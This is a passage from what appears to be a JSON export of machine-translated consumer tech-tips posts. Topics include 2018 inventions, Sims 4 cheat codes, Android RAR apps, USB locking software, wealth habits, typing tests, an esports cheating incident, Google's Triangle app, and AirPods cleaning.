ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddp7Kku9WeqWaclaGytbHDZp2ipJWoerC6jK6qm2WRo7FusdetnKumkaF6qa3RnWSdqpmrsm6v1Kee\n","link":"/post/steps-to-recover-deleted-files-on-usb-and-external-hard-drive/","section":"post","tags":null,"title":"Steps to recover deleted files on USB and External Hard Drive"},{"body":"These are the final products on the list of 50 great inventions and inventions that benefit the daily life of people voted by Time Magazine. Please follow us.\nGrypmat toolkit\nTom Burden, an engineer designed for F-16 airplanes, has created a Tools Grypmat tray that can stick to all surfaces to prevent the falling or missing parts inside. Grypmat tools are made of artificial rubber with good elasticity and especially can stick without scratching the product surfaces like other traditional Tools containers.\n   Burrow Sofa\nTwo students, Stephen Kul and Kabeer Chopra, teamed up to create a special set of sofas, called Burrow.\n  This sofa set is designed with multiple axles to make it easy for users to assemble by themselves when buying or disassembling when shipping. In addition to being easy to assemble, Burrow is very light, smooth, good elastic, can connect the socket to use electronic devices on the seat.\nGillette Hanging shaver\n  This type of razor is designed specifically for people who are lacking in clarity, age and difficulty in shaving. With the blockage design, users can safely use the Gillette Hanging razor without worrying about skin scratches even when their hands are trembling. The Gillette Hanging handle is equipped with a lubrication tube that makes shaving more convenient. Currently this product is still in the testing process and will be launched in the future.\nXbox electronic handle support kit\n  Xbox electronic handle kit for handicapped people and this limb variation is a product of the combination of Cerebral Palsy Foundation and Microsoft charity. This controller is quite large in size, can add other compatible controls outside via USB ports. This assistive tool allows non-healing players to still control their hands and feet with their fingers, hands, feet, chin .\nBeyond Sausage - Beyond Sausage\n  Beyond Sausage is the product of Beyond Meat food company. This type of sausage is made entirely from plants (including peas, Fava beans, beets, coconut oil, potatoes) but the taste is not inferior to sausages made from real meat. Compared to regular sausages, Beyond sausage has 43% less fat and 38% less saturated fat.\nAccording to statistics, the livestock industry is causing about 20% of the greenhouse effect for the environment. Beyond Meat believes that plant-based meat products will become popular in the near future, contributing to reducing the greenhouse effect on the environment.\nAimovig medicine\n  Aimovig is the first convenient injectable migraine drug approved by the US Food and Drug Administration. Aimovig provides substances that are able to prevent the formation of migraine attacks. During testing, Aimovig received positive feedback from people who used it.\nNanobébé milk bottle\n  \nAyal Lanternani and Asaf Kehat have produced a designed bottle that looks like a mother's milk bottle, creating a friendly feeling for babies than a normal baby bottle with a simple cylindrical design. In addition, this Nanobébé bottle also has a larger volume, the ability to heat and cool twice and can keep the nutrients in milk. Research shows that when using Nanobébé babies do not have a lazy state and cry. This will make it easier for fathers to replace nursing mothers.\nGravity blankets\n  \nGravity creates an 11kg heavy weight blanket that helps users relieve stress, stress, ease sleep and limit nightmares. When covered, gravity of Gravity blanket will cover the body parts, users will feel embraced and easily fall asleep.\nStudies show that the weight of the blanket is equal to 10% of the body weight of the body that will help bring the best experience. Therefore, the company will produce blankets weighing from 6.5kg to 11.6kg so that users can choose.\nVirtual reality surgery\n  \nFundamental Surgery is an application developed by FundamentalVR virtual reality company to help medical students, doctors can practice surgery in virtual reality space before experimenting on human body.\nReebok PureMove bra\n  \nReebok's designer, Daielle Witek, has developed a new sports bra for women with a built-in motion sensor that can relax or shrink depending on the user's movements during training, motor.\nWhen strongly exercised, a solid liquid like Gel is activated which causes the shirt to shrink to support. When exercising lightly or resting, the shirt will automatically relax to help users feel more comfortable.\nSeabin V5 Hybrid garbage collector\n  \nSeabinProject has developed a trash bin that can absorb sea, virtual, lake-carrying waste streams, and water will be discharged continuously to keep garbage.\nLG's Cinebeam Laser 4K projector\n  \nCinebeam Laser 4K family projector set developed by Young Kim, head of LG Electronics projector development department. The projector uses a laser to project images on a wall or screen of 150-inch size with excellent quality that is inferior to the cinema. In addition, Cinebeam also supports streaming content from online services such as Netflix to Hulu, gaming support (with a bundled handle). With a compact design, weighing 7kg, families can take Cinebeam everywhere without having to plug in complicated wires.\nBoosted Mini skis\n  \nThe Boosted Mini electric skateboard product developed by Boosted is small, compact and lightweight (less than 7kg), allowing users to put it into their backpacks every day. Boosted Mini is designed with four wheels to help ensure safety and balance on rough roads. This skateboard can maintain speeds up to 35 km / h.\nThor ET-One electric truck\n  \nET-One trucks are electrically powered, can carry up to 36 tons of cargo (the same volume as a conventional large gasoline-powered pickup) and travel about 428km on a single charge.\nSweetFoam flip flops\n  \nAllbirds has produced SweetFoam flip flops made from sugar cane stalks, completely environmentally friendly. SweetFoam is light, good quality and does not cause pain to the user.\nPants of Sheerly Genius\n  \nKinda Homuth, the founder of Sheerly Genius, has developed a kind of soft, comfortable, and durable pants made from traditional pants made from fibers used in bulletproof armor and climbing equipment. .\nConvenient makeup brush Yubi Buff and Blend Set\n  \nYubi Buff and Blend, the new ergonomically designed makeup set by WigiGins Adiya Dixon helps users to easily and accurately manipulate. This new makeup kit has a built-in switch between the two ends of a brush tip and a sponge to apply.\nSee more:\n50 Best Times of 2018 by Time Magazine poll (Part 3) The 50 most wonderful inventions of 2018 by Time Magazine (Part 1) 50 Time Best Inventors of 2018 by Time Magazine (Part 2) ncG1vNJzZmismaXArq3KnmWcp51kwamxjG5nZpqVqMFutc2vnKesmaS7tHnOn2RraGFteqPFjK2gpp1doq6ordmipZ5loKS5rXnToZxmpJGowW68wKur\n","link":"/post/the-50-best-inventions-of-2018-by-time-magazine-poll-the-last-part/","section":"post","tags":null,"title":"The 50 best inventions of 2018 by Time Magazine poll (The last part)"},{"body":"The Sims series has been around for a long time and has become a hit thanks to its weirdness and ability to draw players into its strange world. With The Sims you can do almost everything, from create Sims (characters), control all their activities from small to large and tell your own story. Along with that, the following in-game cheat codes will give you more power to do what you like.\nHow to use cheat codes In The Sims 4, you can't simply enter a code and expect it to work. Instead, you need to enable the feature in the game first.\nOn Windows, you need to hold Ctrl + Shift + C (Command + Shift + C on Mac) to open the code entry bar.\nHere, you enter 'testingcheats on' to activate the cheat feature code. To disable when not in use, enter 'testingcheats off'.\nTo open the code entry bar on PS4 and Xbox One, you'll need to press all the shoulder buttons simultaneously. On PS4 it's L1, R1, L2, R2 and on Xbox One it's LB, RB, LT, RT. Then you do the same as above and enter 'testingcheats on' to start being able to use cheats.\nThus, every time you need to cheat, you need to open the code entry bar, then enter the code and Enter. You will receive a notification when the correct code has been entered and it will indicate which code you have enabled.\nCode to get money   Making money is no easy task in The Sims 4. Fortunately, there are a number of different cheats you can use to ensure you never run out of money. Please enter the following codes to earn money instantly.\nrosebud – 1000 simoleon kaching – 10000 simoleon motherlode – 50000 simoleon Alternatively, you can also enter Money + a specific number to receive the specified amount. For example, if you want 500 simoleons, enter Money 500. Note that this method will change the total amount you have, not add.\nBuilding code   Some players just focus on building the perfect house in The Sims 4, and the game gives you the tools to make this easier. Take a look at the codes below:\nFreeRealEstate On – Build anywhere for free FreeRealEstate Off – Turn off the above feature bb.moveobject on – Move object anywhere, regardless of grid position bb.enablefreebuild – Build anywhere bb.ignoregameplayunlocksentitlement – Unlock all items in Build mode Using a combination of the above codes will save you money or allow building anywhere, giving you more freedom than usual.\nChange stats   The Sims 4 has different types of stats to train, from cooking to acting and fishing. While you can play to boost these stats, the cheat code will instantly make you an expert on any stat.\nTo do that, you need to enter the following code:\nstats.set_skill_level [skills] [1-10]\nFor example, if you want to set your Fitness to level 8, enter:\nstats.set_skill_level Major_Fitness 8\nBelow is a list of related skills, please enter these codes in the [skills] section above.\nMajor_Fishing Major_Mischief Major_Guitar Major_Reaping Major_Programming Major_Gardening Major_GourmetCooking Major_Comedy Major_Charisma Major_Writing Major_VideoGaming Major_Violin Major_RocketScience Major_Painting Major_Piano Major_Logic Major_Handiness Major_HomestyleCooking Major_Barcending Major_Dj Skill_Fitness Skill_Child_Social Skill_Child_Motor Skill_Child_Creativity Skill_Child_Mental Why spend time learning piano when you just need to type in a cheat code to learn the instrument instantly?\nCheat while pregnant   Who spends a long time pregnant in The Sims 4? Fortunately, there are a few tricks to speed up pregnancy a lot.\nsims.add_buff buff_pregnancy_trimester1 \u0026nbsp;\u0026nbsp;- Make a Sim or Ghost pregnant in the first trimester sims.add_buff buff_pregnancy_trimester2 \u0026nbsp;\u0026nbsp;- Make a Sim or Ghost pregnant in the 2nd trimester sims.add_buff buff_pregnancy_trimester3 \u0026nbsp;\u0026nbsp;- Make a Sim or Ghost pregnant in the 3rd trimester sims.add_buff buff_pregnancy_inlabor \u0026nbsp;\u0026nbsp;- Make a Sim or Ghost pregnant at full term Improve relationship   In The Sims 4, you may be doing your best to improve your relationships with others by chatting and getting to know them. But if you want your plan to be pushed faster, do it with these cheat codes:\nrelationships.create_friends_for_sim \u0026nbsp;– Create a new sim with 100% friendship modifyrelationship 'whole sim name 1' 'whole sim name 2' 100 ltr_friendship_main \u0026nbsp;– 100% positive friendship between 2 specific sims modifyrelationship 'whole sim 1' 'whole sim 2' -100 ltr_friendship_main \u0026nbsp;– 100% negative friendship between 2 sims modifyrelationship 'whole sim 1' 'whole sim 2' 100 ltr_romance_main\u0026nbsp; – 100% romance between 2 sims. modifyrelationship 'whole sim 1' 'whole sim 2' -100 ltr_romance_main \u0026nbsp;– 100% negative romance between 2 sims Cheat related to life   Death is inevitable in The Sims 4 – but you can avoid it with cheat codes. Now play the role of Death and decide who lives and who dies.\ndeath.toggle true \u0026nbsp;\u0026nbsp;- Sims can't die death.toggle false \u0026nbsp;\u0026nbsp;- Sims can die sims.add_buff buff_death_electrocution_warning \u0026nbsp;- Sim died from an electric shock accident sims.add_buff buff_mortified \u0026nbsp;- Sims die of shame sims.add_buff buff_motives_hunger_starving \u0026nbsp;- Sims starve to death within a day Changing the needs of the body   There's nothing more frustrating in The Sims 4 when you're about to do something and have to go to the bathroom, shower, or eat. Of course, the cheat code will help you no longer bother about that.\nsims.give_satisfaction_points 'X' \u0026nbsp;– Increase satisfaction score; enter a number instead of X fillmotive motive_energy \u0026nbsp;– Restore full of energy fillmotive motive_fun \u0026nbsp;– 'Full of fun' fillmotive motive_hunger \u0026nbsp;– 'Full of hunger' fillmotive motive_hygiene \u0026nbsp;– 'Full of hygiene' fillmotive motive_social \u0026nbsp;– 'Full of social bar' sims.fill_all_commodities \u0026nbsp;– Restores all stats Career advancement   Career goals are paramount in The Sims 4, and you'll spend most of your time playing the game trying to find the career goals that work best for you. This process takes a lot of time.\naspirations.complete_current_milestone \u0026nbsp;– Complete Sim's current aspirations tại careers.add_career 'x' \u0026nbsp;– Add a career (x is the career you need) careers.promote 'x' \u0026nbsp;– Promotion for sims careers.retire 'x' \u0026nbsp;– Fire sim The above cheat codes not only make playing The Sims save time, but you also show your unlimited power. Wish you have moments of fun gaming!\nThe Sims 4 ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdmLWmrdNmq6GdXai2rr%2BMbWScp5SawA%3D%3D\n","link":"/post/the-best-cheat-the-sims-4-codes/","section":"post","tags":null,"title":"The best Cheat The Sims 4 codes"},{"body":"RAR format is a popular file type for data compression. Although you can use RAR files on macOS and Windows more on your phone, sometimes you still need the tool to work with it on the move. Check out the best RAR file extraction application on Android.\nWhy use RAR file extraction application for Android? Although many people don't like working on phones or tablets, they can use it to manage files. Since the RAR format has become popular, you will need a tool to extract RAR files on Android or compress the files into this format.\nThese applications are useful for both extracting and compressing files. It is very handy when traveling, you can use your tablet instead of a laptop and have one of these tools very useful.\n1. ZArchiver application    ZArchiver is completely free with easy-to-see interface and no ads. With ZArchiver, you can create archives like 7z, ZIP, XZ and GZ. It can extract everything from RAR, 7Zip to DEB and ISO files. In addition, you can view archived content without actually extracting them and even editing content by adding or deleting files. In addition to the compression and decompression application, ZArchiver is also an excellent file manager.\nSee also: Instructions for opening Zip files on Android and iOS\nDownload: ZArchiver\n2. RAR application    With this RAR application from RARLAB, WinRAR developer, you can create both ZIP and RAR files. This RAR file extraction application can also extract TAR, XZ, ISO, ARJ and 7z files. You can also extract the appropriate formats such as ZIPX, PPMd and LZMA.\nWith simplicity combined with powerful features, RAR is the first choice for RAR for Android. RAR works well with multi-part RAR and encrypted archives. Although free but RAR for Android supports ads, if found uncomfortable, you can remove it through in-app purchases.\nDownload : RAR\n3. WinZIP application    WinZIP for Android has a clean interface with few ads. In addition to the standard features for an archive compression and decompression application, it has the ability to integrate with cloud services like Dropbox and Google Drive. This makes file management easier when not storing files on the device.\nWinZip can handle any RAR and ZIP file easily. Although file compatibility is not as strong as ZArchiver, cloud integration and beautiful interface also make WinZIP worth considering.\nDownload : WinZIP\n4. Application of B1 Archiver    B1 Archiver is compatible with 37 file formats including B1, ZIP and RAR. Besides its compatibility, B1 Archiver also handles most RAR files easily. For encryption, B1 can extract the password protected files. There is even an option to extract a part in the archive file. Very convenient when you just want to get a piece of content from the compressed file.\nNavigating the application is simple and the interface is easy to use, but it has many ads. You can remove ads with paid upgrades.\nDownload : B1 Archiver\n5. ES File Explorer application    Although the RAR extract application for Android works well, many file management applications are also capable of extracting. Among these applications, ES File Explorer is one of the most popular applications.\nWith ES File Explorer, you can preview content inside RAR and ZIP files and extract them. It may lack file compatibility like B1 Archiver, but ES File Explorer is considered the most handy application here beyond the ability to extract RAR. In addition, it is one of the few file management applications that supports network drives.\nDownload : ES File Explorer\nSee more:\nWhich file compression format is best? Unzip Zip, RAR, . files online without software Operation mechanism of file compression tool ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdp66zecWio55lla3Bs63CraCopl2WvbG4yJyYraGfo3qwuoyapZ2qn56x\n","link":"/post/the-best-rar-file-extraction-application-on-android/","section":"post","tags":null,"title":"The best RAR file extraction application on Android"},{"body":"TipsMake.com - USB is becoming more and more useful, especially when it is constantly being improved so that it becomes smaller and more storage . Besides data on USB is also very easy to be stolen, because it only takes a relatively short time, the thief can also copy data from the USB to his personal computer without leaving any trace. There are many measures to secure such as hiding files, compressing files with passwords . which partly prevent unauthorized copying of data, but if the bad guys do not copy the data and copy it into a virus used to steal What about information . USB Safeguard is a free application that will help you protect your USB in a comprehensive way.\nYou can download USB Safeguard at the following address. USB Safeguard is quite compact, only about 96KB, can be run directly without installation.\nAfter downloading, copy the file usbsafeguard.exe to the USB drive, and now the USB lock and unlock operation will be done with this file.\nUSB key USB key operation is very simple, you just need to activate the file usbsafeguard.exe on the USB drive, immediately a dialog box will appear asking you to enter the password. This password is not a fixed password, it only works until the USB is unlocked, then if you want to continue to lock the USB with another password it will still work.\nOn the dialog box, you enter the password twice into the empty box and then press the Lock button to lock the USB.\n  Once the USB key is locked, all USB files will be hidden and the hidden file settings of Folder Options cannot be restored. At the same time, the USB storage capacity is also locked and 96KB (application executable file size) makes your USB device not be inserted into a USB virus or malicious code.\n  USB Safeguard also has another feature to assist you in case of forgetting the password is to send an email or a message to your phone number. To set up this feature, before proceeding with the USB key, click on the Help icon in the lower left corner of the interface and select USB Flash drive lost?\n  A new dialog box appears, enter your email address or phone number and click OK . Currently according to the writer's test on the free version, this feature does not work, can only work on the paid version.\nUnlock the USB key The unlock operation is similar to the USB key operation, you activate the usbsafeguard.exe file on the locked USB drive, the USB Safeguard dialog box appears, enter the password you set at the USB key into the blank. and click on the Unlock button, your USB will immediately be unlocked, the files will be restored so that you can handle the restored USB storage simultaneously.\n  USB Safeguard is compatible on Windows XP / Vista / 7. For the free version, USB Safeguard only works for USB with capacity of 2GB or less, the paid version works for USB with up to 2TB.\nncG1vNJzZmismaXArq3KnmWcp51kwrSujKyYn52Xqq6zsIymmLGhnaq6bsHSm2Spqp%2BpsqTAyKil\n","link":"/post/usb-safeguard-maximum-usb-protection/","section":"post","tags":null,"title":"USB Safeguard - Maximum USB protection"},{"body":" 6 bedtime habits of extremely successful people 10 qualities NEED to help you succeed Being rich is easier said than done . With so many books on financial success and how to make money today, the only logical thing is that you should ask yourself why 1% is still 1%.\nAlthough I - the author of the article - took part in some personal financial management classes when I was in college, I still felt struggling to make ends meet. Once I and my wife did not have enough money to buy chewing gum - even though it was not a luxury.\n  In frustration, I decided to start a trip to find out why my life was like that. I want to know why some people can make easy money and build money like that.\nWhat I know is amazing. In this article, I will share these tips with you, it's not about willpower. No need to be too prone to money or inflation, I just want to share the usual 15 habits of the rich .\n1. Challenge and ask yourself questions Everyday, rich people often ask themselves questions about beliefs or things that are supposed to be true. Becoming rich is just a matter of analytical thinking. Even if you are around people who share a common sense of life, chances are you will never find the inspiration to think differently.\nTherefore, there is only the phrase ' Cowardly Cowardly, Code Code '. If a sheep wants to learn how to hunt, it must live with wolves.\nIt's easier said than done because it is the person we just like to live in our comfort. Most people think only as creative as what their cover allows. Even if being rich is your goal, you must be open about good things when there are people around you who think differently.\n2. Live in the future ' I am living in the future, so now is my past .' - Kanye West\nPeople who have wealth or earn a lot of money are not foretold prophets or witches; They are ordinary people like you and me. But one thing they do every day is trying to predict future trends .\n  Everyday Steve Jobs still has this habit and it is often known as the foundation for many Apple patent products. Steve Jobs seems to know what people will want even before they know they want it. Sometimes those products themselves do not exist.\nWhen it comes to building wealth, a daily routine of practicing how to predict which challenges are waiting for us ahead. As Warren Buffett once said: ' Someone sitting in the shade today is because someone has planted a tree a long time ago .'\n3. Outsourcing busy jobs Becoming rich is simply about time management . Every day, you will definitely accumulate a fair amount of busy work. The way you manage boring tasks but this important seems to determine how successful you will become.\nEvery day before you start, keep in mind the things that make you go astray and find ways to ask someone to do these tasks for you. If you have to do them, keep an eye out for time spent on them.\n4. Exercise daily   The most common justification for not exercising is not having enough time . The rich are the ones with the least free time but they rarely use those excuses. That's because they understand that health and joy are priceless.\n5. Eat healthy Healthy eating is accompanied by daily exercise but it also needs to be mentioned. Buy fresh produce to create a balanced and healthy diet, whether organic or not, it will cost more than a Cheetos bag (the brand of Snack, which is idolized in countries in the Americas and Europe. Europe ) and a can of Coca-Cola.\nHowever, the first tip to enjoy the results brought about by financial investments is to invest in yourself first . Besides, the money you spend when you don't spend on medicine will be far more than the amount you spend on vegetables or cauliflower.\n6. Simple life ' If you buy things you don't need, you'll quickly sell what you need .' - Warren Buffet\nWhen it comes to simplicity, I do not refer to the wealthy living in a tiny house without electricity and only one chair. I only meant to say that they actively practiced not living in excess .\nWhen building wealth, they develop a habit of determining what is important and what is luxury , which is a habit that is always associated with them. They may start enjoying some luxuries like beautiful homes, cars or some famous fashion houses but it is still within their capabilities and is often just one or two things already mentioned. After all, you can only live in many homes and drive multiple cars for a moment.\n  7. Read books daily to improve yourself ' Reading is like exercise for the mind .' - Joseph Addison\nWith so many great classics in the world today, one can only read one book every day and never read them again. Through books we learn a lot about the history, nature of people, lifestyles and other cultures in the world.\nMost poor people often say they don't like to read or simply don't have time to read. This is sad because they have missed a great treasure of knowledge.\nThe class of rich people in society always actively use this knowledge to cultivate their minds and calm their hearts. And if the rich don't have time to read, they take advantage of modern technology to listen to audio recordings of books during the time they travel.\nAs Thomas Corley said: ' The rich don't avoid watching TV because they have self-discipline and willpower. They don't think about watching many TVs because they are busy with some other daily habits - Reading . '\n8. Learn new things every day ' Risks come from not knowing what you're doing .' - Warren Buffet\nMoney is made from proactive attachment to the world and at the same time there is a burning desire to understand it. Knowing this, rich people consciously try to learn how to understand new things every day.\nBy learning and understanding the world - how people work, you will be able to predict well the learning / needs of learning and the benefits earned from it when opportunities arise.\nHow to learn everything in just 2 days but normally it takes another 6 months? 9. Express gratitude   Gratitude is not only a great tool for the rich, it is also a great daily practice routine for anyone. When you often have a lot of people around you, expressing a sincere attitude is a good way to have positive opinions about you. Besides, the rich also have a habit of thanking someone with a gift or a card.\n10. Stay away from TV and social networks Nearly 70% of the wealthy class watched less than 1 hour a day, while 23% of the poor did the same.\nJust being poor makes you feel full of pressure. In addition to a meaningless, mediocre and low-paying job, it is understandable why so many poor people feel more comfortable when \" switching off\" thinking about life and work and sitting in front of a TV screen.\nReality TV, sports TV, Facebook and Twitter, all are modern tools that distract us so that we can temporarily forget the misery of being poor. The problem is the amount of time it takes for you to forget about your problems, which is also the time you can invest in fixing this problem.\n5 signs that you should \"pause\" using social networks    11. Get up early Waking up in the morning to rush to work is not the same as getting up early enough to have time to think and think before going to work . The rich often practice getting up early.\nThink of this time as a time to start, allowing your mind to be ready for immediate challenges. Early rising is an extremely effective tool for the rich to reconsider themselves and their everyday weapons.\nHow to have a productive morning? 12. Teach children how to think independently We have proven that rich people read and learn a lot . However, it is important to know that they also pass on the habit of seeking knowledge and understanding for their children and grandchildren.\nMany wealthy parents give their children challenges to find their own beliefs. They actively engage with their children and grandchildren in intellectual conversations about what is similar and different in their opinions without any assessment.\nWealthy parents understand the responsibility of having their children find their own path .\n  13. Meet a new person every day Recent studies show that most people are afraid of speaking in public. However, rich people overcome this fear by meeting, engaging or simply talking to a new person every day . Practicing this habit will help you build the confidence you need to reach larger groups.\n14. Make a list of things to do during the day ' I think the goal is a big goal, but the rich say that a wish is not a goal .' - Thomas Corley\nAccording to an article, more than 80% of the rich have a list of things to do during the day. They not only wrote a to-do list carefully but they followed it too. In order to become rich and keep up, you need to know what to do and focus to accomplish it.\n  15. Simplify things Wealthy people \" are forced \" to make important decisions within a few days. Often these decisions involve thousands of dollars of risk, if not millions of dollars. Even then, the human mind is only able to make many decisions in one day, big or small.\nKnowing this, rich people try to simplify things around them to eliminate the boring sundry decisions of \" garbage \" their lives like what to wear or what to eat for lunch.\nSteve Jobs and Mark Zuckerberg are two rich men known for this habit. Living simple, uncomplicated basic things are the daily habits of the rich.\n' These habits are like snow - they thicken and then, you have an avalanche with success .' - Thomas Corley\nAuthor: Deji Akingbade\nRefer to some more articles:\n10 reasons why you never succeed 25 extremely useful websites and applications will definitely make you smarter Why are \"C\" students the most successful people in the world? Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kxKK602arqGWSmrCwucRmqaKbmGK%2FprnEppmeql2pvG65wKKlrZmZo3pygYyrpq6smaOybrTAm6Ctq12Xsq271g%3D%3D\n","link":"/post/want-to-become-rich-remember-to-maintain-15-routine-habits-below/","section":"post","tags":null,"title":"Want to become rich, remember to maintain 15 routine habits below!"},{"body":"The faster the typing speed, the better you can perform typing, writing and documents.\nTo test your typing speed, you should follow the article to refer to some online websites to help you test your typing speed with tests.\n1. TypingTest.com You need to perform the check in the following steps:\nStep 1: Visit the website http://www.typingtest.com/, you can choose the language and time. TypingTest supports 9 languages ​​but not Vietnamese.\nAfter selecting all the information, click Start Test to start testing.\n  Step 2: Continue clicking StartTest to start testing.\n  Step 3: Enter words from the paragraph in the Start typing box ! until the time is up.\n  After the time is up, your typing speed will be displayed.\n  So you can know your typing speed fast or slow through the results shown.\n2. 10fastfingers.com With 10fastfingers.com you can completely check the typing speed with Vietnamese language or a lot of other languages.\nStep 1: Go to http://10fastfingers.com/ then select Start a Typing Test .\n  Step 2: You can select the language by clicking the English word above the text. Then a list of languages ​​appears and you can choose the language.\n  Step 3: Enter the language in the white box below the text.\n  After 1 minute, the result will be displayed in the Result table .\n  You can share your results with your friends online.\n3. Typing-speed-test.aoeu.eu Typing Speed ​​Test with simple interface, you only need to visit the website http://typing-speed-test.aoeu.eu/ to be able to perform speed test by re-entering the text in the section type the words here .\n  You can choose for yourself the best website to test your typing speed. From there, you can help you know and try to improve your typing speed, be more helpful in using the computer, writing documents . I wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ksKmxwqRkraCVYsG6vMinnmaroJqypXnTsqeippdiwLGxxJ0%3D\n","link":"/post/check-the-typing-speed-typing-speed/","section":"post","tags":null,"title":"Check the typing speed, typing speed"},{"body":"At the professional EXTREMESLAND2018 CS: GO tournament in Shanghai, referees discovered an OpTic India team player using hack / cheat software during the match against Revolution, a representative of Vietnam.\nSpecifically, in the process of competing gamers Nikhil Kumawat or also known as ingame \"forsaken\" is ready to shoot down opponents as soon as they approach him, even this guy has a shot through the wall unexpectedly accurate. This anomaly caused the attention to pay attention to the forsaken and decided to suspend the match to search his device.\n\nThis player opposes when the referee checks his device.\nForsaken tried to stop the referee's inspection but failed. After checking, the referee discovered a \"word.exe\" file in the Explore window. As it turned out, this guy used a hack software that automatically locked in to nearby targets.\n  This guy changed the name of the fraud app to the world name.\nThis player had similar fraudulent actions in 2017 and was banned for 6 months by the Valve.\nWith the exchange of OpTic India, which has been eliminated by the lack of fairplay, Vietnam 's Revolution team is allowed to enter the next round. Forsaken may have to receive a lifetime penalty from Valve for his fraudulent act.\nAfter this incident, Jesal Pare, director of development of OpTic India team apologized to the organizers, participating teams, fans and apologized to his country for not managing the players. He also shared more, the rest of the team did not know forsaken fraud.\nOpTic team was also dissolved shortly after.\nSee more:\nBlind gamers take down 7,600 networks in the game Call of Duty: WWII This is how AI defeats the best Dota 2 players Super Mario Bros. \"Island break\" player For nearly 5 minutes, set a new world record ncG1vNJzZmismaXArq3KnmWcp51ktKK5xKuqZpuYmq61ecinZK2glWK6osDCoWSan5Geu7TAjK2fnmWmnrK1usCmnKydXamyormMoqVmrJiaeqS%2FjKCmZqyfqr%2Bvrcyepa0%3D\n","link":"/post/gamers-cheat-in-the-match-against-the-vietnamese-team-in-the-cs-go-tournament/","section":"post","tags":null,"title":"Gamers cheat in the match against the Vietnamese team in the CS: GO tournament"},{"body":"Recently, Google has begun testing a new tool to help users manage mobile data better with smartphones. This new Android application, called Triangle, is currently being tested in the Philippines. The app's functionality is to see how much data is left, see which applications take up the most data, and even lock personal apps using mobile data and more.\nThe problem of limited data is not a common problem in the US, because mobile data is not limited here and the speed of bandwidth is fast. However, in some emerging markets, the use of mobile data is often a concern. With Triangle, Google is experimenting with another way to cut down mobile data by allowing users to control in more detail the mobile network data being used.\nThis is not Google's first attempt to provide data usage control to users. For example, many years ago, Google added \"Data Saver\" mode to the Chrome mobile version and introduced a data-saving controller built into selected devices, just like calculating Data Saver function in Pixel phones.\nTriangle provides better application control when compared to Pixel Data Saver.\nWith individual applications, Triangle users can customize the time the application uses by selecting options such as 10 minutes at a time, 30 minutes at a time or \"Always\".\n  Users can also see the amount of prepaid mobile data left on providers like Globe and Smart, as well as get an overview of data-consuming applications.\n   The provider also \"rewards\" additional network data through Triangle, allowing users to download new applications without using data and encourage the use of existing applications to receive additional data into the account.\n   Google has not yet made an official announcement about the release of Triangle, but many online forums have mentioned this application many months ago. However, Google began the Triangle test in April.\nGoogle declined to talk about the future plans of this application, including the planned release of Triangle for emerging markets, or developed countries like the US for limited data network users. Although still in the experimental stage, Triangle is an official product of Google.\nWhen asked, the company representative only gave the answer: \"We are experimenting in the Philippines on how to help users manage their mobile data better. We have nothing to publish anymore in the this point. \"\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcrGWemsRusdepnKuhlaOwpnnTq6Cappehsm6ty6WmsKtdl7mwr8qipaBlkaW9rbXCmquip56oerW0wK1krquVYrqwrsilnGackamubq3SZqWenZSasQ%3D%3D\n","link":"/post/google-s-new-experience-triangle-allows-blocking-applications-that-use-mobile-data-as-needed/","section":"post","tags":null,"title":"Google's new experience, Triangle, allows blocking applications that use mobile data as needed"},{"body":"Thoroughly cleaning your AirPods can help them look and function better. If your AirPods are looking like they've seen better days, there are a few tricks you can use to get them looking polished and new again. Once they're clean, you can...\nMethod 1of 2:\nCleaning Off Dirt and Dust  Wipe down your AirPods with a microfiber cloth. Don't use a regular cloth or rag or you could damage the polish on your AirPods.[1] Microfiber cloths are also better at picking up small particles than regular cloths.[2] Hold the microfiber cloth in your hand and gently bring it over the entire surface of each AirPod.\n  Use a cotton swab to wipe off hard-to-reach areas. Hold the cotton swab in your hand and gently rub the soft end through the small cracks and crevices on your AirPods. Carefully wipe over the speaker grills to remove any dust or wax that's built up on them. Don't push too hard on the speaker grills or you could damage them.[3]\n  Rub away dirt and grime spots with a pencil eraser. Place the eraser on the spot you want to remove and gently rub the eraser back and forth. Once the spot is gone, wipe off any leftover eraser shavings with the microfiber cloth.[4]\n  Brush the speaker grills with an anti-static brush. If you don't have an anti-static brush, you can use the bristles on a clean, dry toothbrush instead. Use the bristles on the anti-static brush to brush away dust, dirt, or wax that's stuck in the speaker grills. Use a gentle brushing motion so you don't damage the grills.[5]\n  Use a damp microfiber cloth as a last resort. If your AirPods haven't been cleaned in a while, you may need to use a little bit of water to remove tough dirt and grime spots. Add a drop or two of distilled water onto a microfiber cloth so that it's barely wet. Then, rub the damp part of the cloth over the surface of your AirPods. Don't let the wet part of the cloth make contact with the speaker grills or moisture could get inside of them.[6] Use distilled water instead of tap water. Tap water has minerals that can damage the polish on your AirPods.  Method 2of 2:\nKeeping AirPods Clean  Wipe down your AirPods every few days with a microfiber cloth. Periodically cleaning your AirPods will stop them from collecting a lot of dust, dirt, and wax. Keep a microfiber cloth in the case with them or close nearby so it's easy for you to wipe them down regularly. [7]\n  Keep your AirPods in their case when you're not using them. They'll be less susceptible to getting dirty if they're stored away. Avoid putting your AirPods in your pocket or your bag, where they'll collect lots of dust and dirt.[8] If you use your AirPods at night a lot, keep their case right next to your bed. If you like to use your AirPods on the go, carry their case with you in your bag. Just make sure it's closed so dirt and dust particles don't get inside.   Clean your ears regularly. Not cleaning your outer ears can cause wax to build up, which can transfer onto your AirPods when you wear them. Use a cotton swab or cloth to clean the outer part of your ears. Don't worry about cleaning out your ear canals — you just want to wipe away wax from the outer part of your ears that your AirPods sit in.[9]\n  Don't share your AirPods with other people. Your friends might leave your AirPods outside of their case, which could lead to dust and dirt getting on them. Also, wax from their ears could get on your AirPods. Holding onto your AirPods will let you control how clean they stay. If someone asks to borrow your AirPods, kindly tell them you paid a lot of money for them. Offer to let them borrow a cheaper pair of regular headphones instead.   David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucmq6vecCiqamnlKg%3D\n","link":"/post/how-to-clean-airpods/","section":"post","tags":null,"title":"How to Clean AirPods"},{"body":"Sticker is always an indispensable component when we message with friends in any application. Besides the stickers that chat apps are available, there are many other self-made sticker applications from the images you have. With Viber, everything is much simpler when we can create a sticker package right on the application itself, with images available in the device without resorting to the support application. Accordingly, when uploading any image to Viber, users will have the 